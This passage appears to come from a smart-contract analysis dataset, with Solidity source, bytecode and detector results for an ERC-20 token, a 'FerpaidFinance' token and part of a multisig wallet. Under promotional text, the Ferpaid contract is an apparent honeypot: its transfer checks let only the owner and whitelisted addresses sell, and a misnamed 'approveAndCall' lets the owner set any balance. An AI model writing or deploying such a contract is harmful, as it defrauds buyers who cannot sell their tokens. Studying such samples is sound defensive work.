when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); require(_allowed[msg.sender][spender] >= subtractedValue); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); require(_balances[from] >= value); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063395093511461028a57806370a08231146102ef57806395d89b4114610346578063a457c2d7146103d6578063a9059cbb1461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be61067d565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610687565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e61091a565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091f565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b56565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610b9e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e99565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb0565b6040518082815260200191505060405180910390f35b6040805190810160405280600e81526020017f576f6f6e6b6c7920506f7765722000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561058d57600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561071457600080fd5b6107a382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061082e848484610f58565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b601281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561095c57600080fd5b6109eb82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f576f6f700000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c1457600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c9f57600080fd5b610d2e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610ea6338484610f58565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080838311151515610f4957600080fd5b82840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f9457600080fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610fe157600080fd5b611032816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110c5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461117190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561118857600080fd5b80915050929150505600a165627a7a72305820afbc3e469bd2cf66fccf10624bb37b24263a54d481592cdede2f7d07dbf0ef850029
{"success": true, "error": null, "results": {}}
8,562
0x4084614fec9e9e894024e3f25696628a4b44406e
/** *Submitted for verification at Etherscan.io on 2022-03-14 */ /* Make Defi Accounting Better At Ferpaid, we believe in empowering opportunities—globally and locally. That’s why we work with thousands of education institutions to help them provide a simplified, secure, and transparent payment solution for students and their families. Our unique platform allows payers like you to use your favorite payment methods and your local currency to pay for education at institutions all over the globe. Start enjoying our secure and seamless payment experience no matter where you are with the Ferpaid mobile app. Download the Ferpaid mobile app today to: • Create a new Ferpaid account right in the app. • Access and update your Ferpaid account information across all of your devices. • Make new payments from anywhere. • Track the status of your current payments and know when your funds will be delivered. • Configure push notifications to receive clear and timely updates about your payments. • Cancel payments when you need to. • View details about your previous payments. • Select additional layers of security to protect your information. • Chat in real time with Ferpaid’s around-the-clock support professionals. • Set up your app experience in one of seven languages. Ferpaid is a payment protocol, built on the Ethereum Blockchain, designed to enable genuine cryptocurrency-based recurring payments without introducing additional friction. Its permissionless design, powered by automated smart contracts, gives crypto assets added functionality. FERPAID FINANCE (FERPAID) is one of the most anticipated digital coins in 2022. FERPAID - owned by FMCPAY - solves both scale and usability issues in payments in the travel and service industries globally. What is FERPAID FINANCE FERPAID is an on-demand liquidity service. The growing FERPAID ecosystem makes it easier than ever to run the payments of a high-performance business. Blockchain 2.0 technology makes payments global, financial institutions can expand into new markets around the world and even eliminate pre-funding by leveraging the power of FERPAID. Decentralized Platform The platform that helps investors to make easy to purchase and sell their tokens Future Investment The investment that can expand into new markets around the world Blockchain 2.0 technology The system pay a bonus for excellent individuals Cryptocurrency transactions, recorded on a public ledger, provide instant auditability, avoiding the possibility of dispute between buyer and seller. As a result, there is no requirement for a third party to arbitrate on whether a crypto payment has been sent and received – the blockchain reveals everything. Moreover, cryptos provide instant settlement compared to wire transfer, and do not require clearing houses, further reducing friction. Single, recurring and on-demand payments are all facilitated via the Ferpaid protocol, making cryptocurrencies suitable for everyday use. To allow for simple, quick and user-friendly interactions, the complexity brought by the blockchain is abstracted into simplified APIs, libraries and graphical user interfaces. Billing models Ferpaid offers multiple billing models that can be easily shared with customers or embedded into your website in three different ways: buttons, short urls and QR codes. Ferpaid's offers RESTful APIs quick answers without the need to directly interact with the blockchain. The APIs, which are controlled and hosted by Ferpaid, read from a cached version of the information stored on the blockchain. Everybody can verify all of the information provided by the Ferpaid APIs with onchain data to ensure that it is accurate and up to date. FERPAID tokens enable clients and service providers in the tourist sector with all of the benefits of blockchain technology and more. It would be sold on many exchanges as a ERC-20Ethereumtoken, and it would readily accommodate the newest developments in blockchain technology. Ecosystem In the age of digitization and decentralization, the travel and hospitality business does not appear as it should. While the blockchain ecosystem is expanding, the tourist sector is missing out on the benefits of decentralization. The FerpaidCoin project and the FERPAID FINANCE tokens that go with it are the world's first ecosystem to leverage blockchain technology to deliver an international reward system that is open to all hospitality service providers worldwide. FERPAID FINANCE tokens enable clients and service providers in the tourist sector with all of the benefits of blockchain technology and more. It would be sold on many exchanges as a ERC-20Ethereum Blockchain token, and it would readily accommodate the newest developments in blockchain technology. Introducing Ferpaid: A Defi Platform for Automatic Crypto Payments Increased adoption of cryptocurrencies has led to growing demand for processing services to help businesses and users manage burdensome manual crypto payments, with a variety of implementations available for online and offline merchants. Unfortunately, current solutions are somewhat disconnected from the existing defi ecosystem, lacking the convenience of a more universal service platform. So what if there was a solution that could combine the benefits of decentralized finance and automated crypto payments in one application? That’s where Ferpaid comes in. But what exactly is Ferpaid, what benefits does it offer, and what comes next? */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract FerpaidFinance { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a7231582030decc64f2071717de5313a27f364fc5b09a27b1cffa484a829ea4d92940639d64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,563
0xeb939e27bfba948894207f7d3e92d29c929cfa0c
pragma solidity ^0.4.11; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public 